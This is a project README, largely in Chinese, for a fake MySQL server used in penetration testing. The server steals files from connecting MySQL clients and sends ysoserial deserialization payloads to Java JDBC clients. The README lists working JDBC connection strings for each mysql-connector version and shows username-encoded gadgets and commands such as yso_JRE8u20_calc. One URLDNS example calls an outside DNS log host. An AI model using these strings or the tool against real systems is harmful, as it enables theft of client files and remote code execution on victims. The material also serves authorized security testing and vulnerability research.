MySQL Fake Server use to help MySQL Client File Reading and JDBC Client Java Deserialize
MySQL Fake Server use to help MySQL Client File Reading and JDBC Client Java Deserialize
ENGLISH|简体中文
用于渗透测试过程中的假MySQL服务器,纯原生python3实现,不依赖其它包。
修改自项目https://github.com/waldiTM/python-mysqlproto
2021.06.01
儿童节快乐~
文件读取部分
支持了大文件的读取,可完整的读取二进制文件。
测试了PDF\EXE\ZIP\JAR文件,最大测试了读50MB的ysoserial,md5正常,可正常使用。
请勿使用cmd.exe等测试吗md5,从system32目录中拷出来md5就不一样了。
现在可以将读取到文件保存到文件中(文件名为“客户端ip___时间戳___替换掉特殊字符的文件路径”,特殊字符为"/\:")
由于目前是一次性读完文件内容后再进行写入,所以如果想读GB级文件的朋友请自行掂量内存大小,或者将写入改为读一部分写一部分
增加了未知用户名情况下,读取预设文件的功能(非预置用户名且非yso_和fileread_开头,config.json中__defaultFiles选项)
目前测MySQL JDBC Connector 5.1.x的版本需要在连接串中加一个maxAllowedPacket=655360属性,否则会报错,有兴趣的师傅可以自己跟一下原因。
有关JDBC下的allowUrlInLocalInfile选项可以看下这篇:https://blog.csdn.net/fnmsd/article/details/117436182
增加了config.json配置项目
其它
python server.pyServerStatusDiffInterceptor和detectCustomCollations两种方式。默认的config.json:
…
文件读取:
反序列化
可在config.json中yso节预定义好yso payload的生成参数(比如Jdk7u21用户名返回Jdk7u21执行计算器的gadget)
可以用yso_开头的用户名,格式yso_payload类型_命令(例如jdk7u21调用calc就使用用户名yso_Jdk7u21_calc)
jdbc连接串示例:
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_Jdk7u21_calcjdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_URLDNS_http://yourdns.log.addr/关于认证:默认认证插件一般使用mysql_native_password,但是由于协议实现的问题,navicat下会连接失败,此时在使用的用户名后追加 _clear 即可切换为mysql_clear_password,navicat连接成功,读取到文件。
写分析的时候整理了一下:https://www.anquanke.com/post/id/203086 用户名请参考上面的说明进行修改。
8.x: jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
6.x(属性名不同): jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
5.1.11及以上的5.x版本(包名没有了cj): jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
5.1.10及以下的5.1.X版本: 同上,但是需要连接后执行查询。
5.0.x: 还没有ServerStatusDiffInterceptor这个东西┓( ´∀` )┏
5.1.41及以上: 不可用
5.1.29-5.1.40: jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc
5.1.28-5.1.19: jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_JRE8u20_calc
5.1.18以下的5.1.x版本: 不可用
5.0.x版本不可用
Navicat文件读取(用户名使用win_ini_clear)
JDK 1.8.20+mysql-connector-java 8.0.14反序列化,使用用户名:yso_JRE8u20_calc
SHOW VARIABLES获取服务器变量,其中最重要的是两个时区变量system_time_zone和time_zone,在getObject过程,会调用到时区相关信息,没有这两个会直接报错SHOW SESSION STATUS和SHOW COLLATION的公用列是第二列Util.resultSetToMap进入getObject阿里云安全WAF&RASP团队目前招聘中,欢迎各位大佬投递简历,大家一起来愉快地玩耍~^_^
简历投递至:[email protected]
项目基础:
https://github.com/waldiTM/python-mysqlproto
漏洞相关:
https://paper.seebug.org/1112/
https://github.com/codeplutos/MySQL-JDBC-Deserialization-Payload
协议相关:
https://dev.mysql.com/doc/internals/en/protocoltext-resultset.html
https://dev.mysql.com/doc/internals/en/character-set.html
https://dev.mysql.com/doc/internals/en/com-query-response.html#packet-Protocol::LOCAL_INFILE_Data
MySQL_Fake_Server 现已加入 404星链计划
No open issues yet, or sync has not completed.